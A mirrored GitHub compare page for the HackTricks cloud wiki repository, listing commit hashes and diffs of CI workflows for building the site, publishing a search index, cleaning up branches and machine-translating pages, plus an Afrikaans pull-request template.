mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-08 22:00:47 -08:00
Compare commits
285 Commits
searchinde
...
af
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
73c0ef31a6 | ||
|
|
bd315f2f41 | ||
|
|
e3acbf8d87 | ||
|
|
f6a0a1841e | ||
|
|
cf359ab882 | ||
|
|
4c86f2e995 | ||
|
|
6e8eee54c9 | ||
|
|
755bf32122 | ||
|
|
f4fd88bcfd | ||
|
|
2c5eaf66f5 | ||
|
|
0490e779ea | ||
|
|
a5c433408c | ||
|
|
a6b09499b4 | ||
|
|
80f0643b2d | ||
|
|
e5ab03ea7f | ||
|
|
2ecd1c3f22 | ||
|
|
85bc45a413 | ||
|
|
b91b81122b | ||
|
|
2b30a04c1b | ||
|
|
cb769ba6e9 | ||
|
|
65c31160cc | ||
|
|
023f932cd8 | ||
|
|
7b3283b58a | ||
|
|
7c007d0a66 | ||
|
|
da982096fa | ||
|
|
87e4f41f2e | ||
|
|
0c64b9ed18 | ||
|
|
0cbbbe39e3 | ||
|
|
788289cfd4 | ||
|
|
1662401744 | ||
|
|
fd445c9c34 | ||
|
|
d688a73d7b | ||
|
|
4ab03d5940 | ||
|
|
9751ca9945 | ||
|
|
4d12156cb7 | ||
|
|
8e3d5c700d | ||
|
|
7c53609967 | ||
|
|
a5e6801c77 | ||
|
|
918b9fdd0d | ||
|
|
733b11b27e | ||
|
|
c3894c0c43 | ||
|
|
247304bbf7 | ||
|
|
f74f9737dd | ||
|
|
408fafdddb | ||
|
|
cdbb004bab | ||
|
|
ab4fc3601c | ||
|
|
3fa178477a | ||
|
|
e24c125674 | ||
|
|
07b9870475 | ||
|
|
86d182ce83 | ||
|
|
9861e54dfa | ||
|
|
c484d4eca9 | ||
|
|
8011c1c92c | ||
|
|
16fd2fc065 | ||
|
|
26872ed37d | ||
|
|
588575ddd9 | ||
|
|
cad25d936d | ||
|
|
0894db49fc | ||
|
|
55acd58e07 | ||
|
|
ed8a2ec00e | ||
|
|
fd914f1700 | ||
|
|
25d70a3ac3 | ||
|
|
c9e1d9e6a5 | ||
|
|
f167bdd80c | ||
|
|
a429b00779 | ||
|
|
597004817c | ||
|
|
d03ecae2ad | ||
|
|
12b99a361b | ||
|
|
096f908055 | ||
|
|
44890bfac0 | ||
|
|
d2d9d6b558 | ||
|
|
066be42701 | ||
|
|
a2455dd4e6 | ||
|
|
d87579a5f8 | ||
|
|
316e172c80 | ||
|
|
aa433fe0e5 | ||
|
|
ea2f64eae5 | ||
|
|
d8adbf8502 | ||
|
|
b11e2b049f | ||
|
|
6d5b0dcd5c | ||
|
|
77384cbd3b | ||
|
|
d295944b82 | ||
|
|
3cebe1b636 | ||
|
|
b294984233 | ||
|
|
cff44b80ed | ||
|
|
d146cc9b1f | ||
|
|
0e68ac903f | ||
|
|
df7d672912 | ||
|
|
373389db5b | ||
|
|
aae4b9bb32 | ||
|
|
4d1c1b6d4b | ||
|
|
f40126626c | ||
|
|
a4d144f066 | ||
|
|
3e14e48380 | ||
|
|
95b89184df | ||
|
|
7cbab9c859 | ||
|
|
4975c3e002 | ||
|
|
886ee11cd0 | ||
|
|
90acf261fe | ||
|
|
880e526ed6 | ||
|
|
8f3d73c64f | ||
|
|
71ad7c49b5 | ||
|
|
37af9175b5 | ||
|
|
7343b10ffd | ||
|
|
2bdca879ac | ||
|
|
da1b69c009 | ||
|
|
2f72866c3d | ||
|
|
262b25a50b | ||
|
|
470e2750a9 | ||
|
|
3a556088d3 | ||
|
|
e47b8427e3 | ||
|
|
92dc71d22d | ||
|
|
faf35c8dc7 | ||
|
|
5df9134e7c | ||
|
|
3b0f414161 | ||
|
|
335415a087 | ||
|
|
4a11675d69 | ||
|
|
89c63d70d0 | ||
|
|
fb2b9e2206 | ||
|
|
3c38aef37c | ||
|
|
e636a30ad9 | ||
|
|
fabbb20e6c | ||
|
|
000a834b89 | ||
|
|
cd3f57c0c7 | ||
|
|
23764d8f6c | ||
|
|
88ebf3f26d | ||
|
|
8584035f03 | ||
|
|
91ad055bd0 | ||
|
|
f5ccfb6b10 | ||
|
|
3e4907be74 | ||
|
|
bd58c76330 | ||
|
|
6ac1feb7bc | ||
|
|
27707f0606 | ||
|
|
77642b8a92 | ||
|
|
f5c448ca8a | ||
|
|
a0bdcef074 | ||
|
|
f8a941c809 | ||
|
|
59334361d8 | ||
|
|
6e3c24c64b | ||
|
|
81e827694f | ||
|
|
5d7d83cc66 | ||
|
|
14b91837ec | ||
|
|
f1677533e6 | ||
|
|
36d3a96bb5 | ||
|
|
b06213a2f2 | ||
|
|
516bba2efe | ||
|
|
062ea6888d | ||
|
|
160f4132cf | ||
|
|
0fd76d6f49 | ||
|
|
5b6cfd3d2a | ||
|
|
6ee66d5642 | ||
|
|
7c4fdaf918 | ||
|
|
b573bd7110 | ||
|
|
983762d0c8 | ||
|
|
fce154eb5b | ||
|
|
89e8f84c21 | ||
|
|
715bd4da29 | ||
|
|
64364e1231 | ||
|
|
72bbc1fe23 | ||
|
|
b6b525c404 | ||
|
|
3462f0f534 | ||
|
|
e8b7b2cabc | ||
|
|
87fe51c9e7 | ||
|
|
6863b0830f | ||
|
|
4a82e0ae03 | ||
|
|
22e470bd7b | ||
|
|
30222e2bfc | ||
|
|
dffd744432 | ||
|
|
7b3ed57fd4 | ||
|
|
97e50b6930 | ||
|
|
c52d1660ea | ||
|
|
7a4946f96c | ||
|
|
51b47f833f | ||
|
|
e3795e12d0 | ||
|
|
563708942e | ||
|
|
d0adb4c65f | ||
|
|
f51035b04c | ||
|
|
3e27e2b4ba | ||
|
|
70500ac7b2 | ||
|
|
86e02e93f2 | ||
|
|
c70ee455d0 | ||
|
|
2acd657e33 | ||
|
|
fb830a6d09 | ||
|
|
0ccec56d0b | ||
|
|
fc69a1c784 | ||
|
|
1d4546cdbc | ||
|
|
0b987c6d4d | ||
|
|
41dde23ed0 | ||
|
|
d55558d20e | ||
|
|
0a71260ba5 | ||
|
|
6c936b8283 | ||
|
|
3e55d339af | ||
|
|
cf6cd9c240 | ||
|
|
7fd2741e40 | ||
|
|
e999b513da | ||
|
|
88a2988bd0 | ||
|
|
5b2b79a8f2 | ||
|
|
b0d001e02b | ||
|
|
772cd2cb71 | ||
|
|
0a5ef79ad0 | ||
|
|
d390a274f9 | ||
|
|
3e8c1c2bec | ||
|
|
6a1835ae98 | ||
|
|
aa3baa4c74 | ||
|
|
a5de89c95d | ||
|
|
7445e48687 | ||
|
|
ff457c7e17 | ||
|
|
2cae222354 | ||
|
|
a42b821783 | ||
|
|
bf85771b90 | ||
|
|
155ea8298f | ||
|
|
d571f69480 | ||
|
|
bf13abbd83 | ||
|
|
0fe3c49c3f | ||
|
|
1c69411d6c | ||
|
|
d200666841 | ||
|
|
d643a22803 | ||
|
|
5f7ce4c76e | ||
|
|
1b8a44edc3 | ||
|
|
0ac80256bb | ||
|
|
7adab3d88a | ||
|
|
0316574731 | ||
|
|
b998844669 | ||
|
|
4fc349c2b2 | ||
|
|
bbfd7053c4 | ||
|
|
8c5331b4b1 | ||
|
|
aa48b25a39 | ||
|
|
1a9158b6cf | ||
|
|
1a5a759f55 | ||
|
|
bf6f7afa55 | ||
|
|
40968577dd | ||
|
|
bb07abe557 | ||
|
|
b18a724d07 | ||
|
|
3f3ba92845 | ||
|
|
a2d9a83203 | ||
|
|
f40c401d43 | ||
|
|
72f2508445 | ||
|
|
23bb3b7127 | ||
|
|
171cc3482a | ||
|
|
3dcee12fda | ||
|
|
cc01e942be | ||
|
|
4cb1c3654f | ||
|
|
e4fa58fa49 | ||
|
|
1ddab6b65d | ||
|
|
00ef800d49 | ||
|
|
4a14ce19b1 | ||
|
|
563cafdbd5 | ||
|
|
96bd5d10e2 | ||
|
|
0bc3ca64f2 | ||
|
|
5645f346ff | ||
|
|
608a48718c | ||
|
|
7ca46c01f0 | ||
|
|
70bddaba85 | ||
|
|
95815637eb | ||
|
|
9d73d5b8de | ||
|
|
53b0143721 | ||
|
|
1f510d028f | ||
|
|
a521ad1a18 | ||
|
|
d5b2d0eef0 | ||
|
|
db118fa129 | ||
|
|
d6577ee182 | ||
|
|
959a569516 | ||
|
|
9266129663 | ||
|
|
b7f6ca304c | ||
|
|
86f50d2b95 | ||
|
|
39f809859e | ||
|
|
8e29eb42e3 | ||
|
|
daf828927a | ||
|
|
f89f593031 | ||
|
|
fab84f89d1 | ||
|
|
14ef0d8f5f | ||
|
|
2eeaf2b36c | ||
|
|
5ca57f29ed | ||
|
|
d212298f58 | ||
|
|
9e4c37d7f7 | ||
|
|
aa197094d0 | ||
|
|
d0a566db68 | ||
|
|
c69f1e970b | ||
|
|
3cc7c1df1c | ||
|
|
d7fc052d87 | ||
|
|
715fde3c2d | ||
|
|
154465e69f | ||
|
|
8fb73b8cf9 | ||
|
|
396dbafaf2 | ||
|
|
2753c75e8b |
19
.github/pull_request_template.md
vendored
19
.github/pull_request_template.md
vendored
@@ -1,16 +1,9 @@
|
||||
You can remove this content before sending the PR:
|
||||
|
||||
## Attribution
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
|
||||
## HackTricks Training
|
||||
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
|
||||
|
||||
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
|
||||
|
||||
|
||||
In any case, thanks for contributing to HackTricks!
|
||||
|
||||
## Toeskryfing
|
||||
Ons waardeer jou kennis en moedig jou aan om inhoud te deel. Maak asseblief seker dat jy slegs inhoud oplaai wat jy besit of waarvoor jy toestemming het om dit van die oorspronklike outeur te deel (voeg 'n verwysing na die outeur in die bygevoegde teks of aan die einde van die bladsy wat jy wysig of albei). Jou respek vir intellektuele eiendomsregte bevorder 'n betroubare en wettige deelomgewing vir almal.
|
||||
|
||||
## HackTricks Opleiding
|
||||
As jy byvoeg sodat jy die [ARTE sertifisering](https://training.hacktricks.xyz/courses/arte) eksamen met 2 vlae in plaas van 3 kan slaag, moet jy die PR `arte-<gebruikersnaam>` noem.
|
||||
|
||||
Onthou ook dat grammatika/sintaksis regstellings nie aanvaar sal word vir die eksamenvlag vermindering nie.
|
||||
|
||||
In elk geval, dankie dat jy bydra tot HackTricks!
|
||||
|
||||
56
.github/workflows/build_docker.yml
vendored
56
.github/workflows/build_docker.yml
vendored
@@ -1,56 +0,0 @@
|
||||
name: Build and Push Docker Image
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- 'book/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: build_docker
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# 1. Check out the repository to get the Dockerfile
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
# 2. Log into GitHub Container Registry
|
||||
- name: Log in to GHCR
|
||||
uses: docker/login-action@v2
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
# 3. Build and push
|
||||
- name: Build and push Docker image
|
||||
run: |
|
||||
# Define image name
|
||||
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
|
||||
|
||||
# Build Docker image
|
||||
docker build -t $IMAGE_NAME:latest .
|
||||
|
||||
# Push Docker image to GHCR
|
||||
docker push $IMAGE_NAME:latest
|
||||
|
||||
# Set image visibility to public
|
||||
curl -X PATCH \
|
||||
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/packages/container/translator-image/visibility \
|
||||
-d '{"visibility":"public"}'
|
||||
78
.github/workflows/build_master.yml
vendored
78
.github/workflows/build_master.yml
vendored
@@ -14,15 +14,12 @@ on:
|
||||
concurrency: build_master
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
environment: prod
|
||||
|
||||
steps:
|
||||
@@ -30,65 +27,32 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
run: mdbook build
|
||||
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
# Cat hacktricks-preprocessor.log
|
||||
#- name: Cat hacktricks-preprocessor.log
|
||||
# run: cat hacktricks-preprocessor.log
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-en"
|
||||
TITLE="Search Index (en)"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
echo "Checking if release $TAG exists..."
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
|
||||
echo "Failed to delete release, trying without cleanup-tag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Warning: Could not delete existing release, will try to recreate..."
|
||||
}
|
||||
}
|
||||
sleep 2 # Give GitHub API a moment to process the deletion
|
||||
else
|
||||
echo "Release $TAG does not exist, proceeding with creation..."
|
||||
fi
|
||||
|
||||
# Create new release (with force flag to overwrite if deletion failed)
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Failed to create release, trying with force flag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
|
||||
sleep 2
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
|
||||
}
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
|
||||
204
.github/workflows/cleanup_branches.yml
vendored
204
.github/workflows/cleanup_branches.yml
vendored
@@ -1,204 +0,0 @@
|
||||
name: Cleanup Merged/Closed PR Branches
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
|
||||
workflow_dispatch: # Allow manual triggering
|
||||
inputs:
|
||||
dry_run:
|
||||
description: 'Dry run (show what would be deleted without actually deleting)'
|
||||
required: false
|
||||
default: 'false'
|
||||
type: boolean
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
cleanup-branches:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 # Need full history to see all branches
|
||||
token: ${{ secrets.PAT_TOKEN }}
|
||||
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Configure git
|
||||
run: |
|
||||
git config --global user.email "action@github.com"
|
||||
git config --global user.name "GitHub Action"
|
||||
|
||||
- name: Cleanup merged/closed PR branches
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
|
||||
run: |
|
||||
echo "Starting branch cleanup process..."
|
||||
|
||||
# Check if this is a dry run
|
||||
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Define protected branches and patterns
|
||||
protected_branches=(
|
||||
"master"
|
||||
"main"
|
||||
)
|
||||
|
||||
# Translation branch patterns (any 2-letter combination)
|
||||
translation_pattern="^[a-zA-Z]{2}$"
|
||||
|
||||
# Get all remote branches except protected ones
|
||||
echo "Fetching all remote branches..."
|
||||
git fetch --all --prune
|
||||
|
||||
# Get list of all remote branches (excluding HEAD)
|
||||
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
|
||||
|
||||
# Get all open PRs to identify branches with open PRs
|
||||
echo "Getting list of open PRs..."
|
||||
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
|
||||
|
||||
echo "Open PR branches:"
|
||||
echo "$open_pr_branches"
|
||||
echo ""
|
||||
|
||||
deleted_count=0
|
||||
skipped_count=0
|
||||
|
||||
for branch in $all_branches; do
|
||||
branch=$(echo "$branch" | xargs) # Trim whitespace
|
||||
|
||||
# Skip if empty
|
||||
if [ -z "$branch" ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
echo "Checking branch: $branch"
|
||||
|
||||
# Check if it's a protected branch
|
||||
is_protected=false
|
||||
for protected in "${protected_branches[@]}"; do
|
||||
if [ "$branch" = "$protected" ]; then
|
||||
echo " ✓ Skipping protected branch: $branch"
|
||||
is_protected=true
|
||||
skipped_count=$((skipped_count + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$is_protected" = true ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if it's a translation branch (any 2-letter combination)
|
||||
# Also protect any branch that starts with 2 letters followed by additional content
|
||||
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
|
||||
echo " ✓ Skipping translation/language branch: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch has an open PR
|
||||
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
|
||||
echo " ✓ Skipping branch with open PR: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch had a PR that was merged or closed
|
||||
echo " → Checking PR history for branch: $branch"
|
||||
|
||||
# Look for PRs from this branch (both merged and closed)
|
||||
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
|
||||
|
||||
if [ "$pr_info" != "[]" ]; then
|
||||
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
|
||||
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
|
||||
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
|
||||
|
||||
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
|
||||
|
||||
# Delete the remote branch
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted remote branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete remote branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
# No PR found for this branch - it might be a stale branch
|
||||
# Check if branch is older than 30 days and has no recent activity
|
||||
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
|
||||
|
||||
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
|
||||
# Calculate 30 days ago in seconds since epoch
|
||||
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
|
||||
|
||||
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
|
||||
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted stale branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete stale branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch (cannot determine age): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo "=================================="
|
||||
echo "Branch cleanup completed!"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "Branches that would be deleted: $deleted_count"
|
||||
else
|
||||
echo "Branches deleted: $deleted_count"
|
||||
fi
|
||||
echo "Branches skipped: $skipped_count"
|
||||
echo "=================================="
|
||||
|
||||
# Clean up local tracking branches (only if not dry run)
|
||||
if [ "$DRY_RUN" != "true" ]; then
|
||||
echo "Cleaning up local tracking branches..."
|
||||
git remote prune origin
|
||||
fi
|
||||
|
||||
echo "Cleanup process finished."
|
||||
195
.github/workflows/translate_all.yml
vendored
195
.github/workflows/translate_all.yml
vendored
@@ -1,195 +0,0 @@
|
||||
name: Translator All
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- Dockerfile
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
translate:
|
||||
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
|
||||
# Run N languages in parallel (tune max-parallel if needed)
|
||||
strategy:
|
||||
fail-fast: false
|
||||
# max-parallel: 3 #Nothing to run all in parallel
|
||||
matrix:
|
||||
include:
|
||||
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
|
||||
- { name: "German", language: "German", branch: "de" }
|
||||
- { name: "Greek", language: "Greek", branch: "el" }
|
||||
- { name: "Spanish", language: "Spanish", branch: "es" }
|
||||
- { name: "French", language: "French", branch: "fr" }
|
||||
- { name: "Hindi", language: "Hindi", branch: "hi" }
|
||||
- { name: "Italian", language: "Italian", branch: "it" }
|
||||
- { name: "Japanese", language: "Japanese", branch: "ja" }
|
||||
- { name: "Korean", language: "Korean", branch: "ko" }
|
||||
- { name: "Polish", language: "Polish", branch: "pl" }
|
||||
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
|
||||
- { name: "Serbian", language: "Serbian", branch: "sr" }
|
||||
- { name: "Swahili", language: "Swahili", branch: "sw" }
|
||||
- { name: "Turkish", language: "Turkish", branch: "tr" }
|
||||
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
|
||||
- { name: "Chinese", language: "Chinese", branch: "zh" }
|
||||
|
||||
# Ensure only one job per branch runs at a time (even across workflow runs)
|
||||
concurrency:
|
||||
group: translate-${{ matrix.branch }}
|
||||
cancel-in-progress: false
|
||||
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
|
||||
env:
|
||||
LANGUAGE: ${{ matrix.language }}
|
||||
BRANCH: ${{ matrix.branch }}
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update and download scripts
|
||||
run: |
|
||||
sudo apt-get update
|
||||
# Install GitHub CLI properly
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y \
|
||||
&& sudo apt-get install -y wget
|
||||
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
|
||||
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
|
||||
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
|
||||
|
||||
- name: Run get_and_save_refs.py
|
||||
run: |
|
||||
python /tmp/get_and_save_refs.py
|
||||
|
||||
- name: Download language branch & update refs
|
||||
run: |
|
||||
pwd
|
||||
ls -la
|
||||
git config --global --add safe.directory "$GITHUB_WORKSPACE"
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git config pull.rebase false
|
||||
git checkout $BRANCH
|
||||
git pull
|
||||
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
|
||||
git add .
|
||||
git commit -m "Fix unmatched refs" || echo "No changes to commit"
|
||||
git push || echo "No changes to push"
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
git checkout master
|
||||
cp src/SUMMARY.md /tmp/master-summary.md
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n ",$file" >> /tmp/file_paths.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
|
||||
cat /tmp/file_paths.txt
|
||||
echo ""
|
||||
echo ""
|
||||
touch /tmp/file_paths.txt
|
||||
|
||||
if [ -s /tmp/file_paths.txt ]; then
|
||||
python /tmp/translator.py \
|
||||
--language "$LANGUAGE" \
|
||||
--branch "$BRANCH" \
|
||||
--api-key "$OPENAI_API_KEY" \
|
||||
-f "$(cat /tmp/file_paths.txt)" \
|
||||
-t 3
|
||||
else
|
||||
echo "No markdown files changed, skipping translation."
|
||||
fi
|
||||
|
||||
- name: Sync SUMMARY.md from master
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
if [ -f /tmp/master-summary.md ]; then
|
||||
cp /tmp/master-summary.md src/SUMMARY.md
|
||||
git add src/SUMMARY.md
|
||||
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
|
||||
git push || echo "No SUMMARY updates to push"
|
||||
else
|
||||
echo "master summary not exported; failing"
|
||||
exit 1
|
||||
fi
|
||||
|
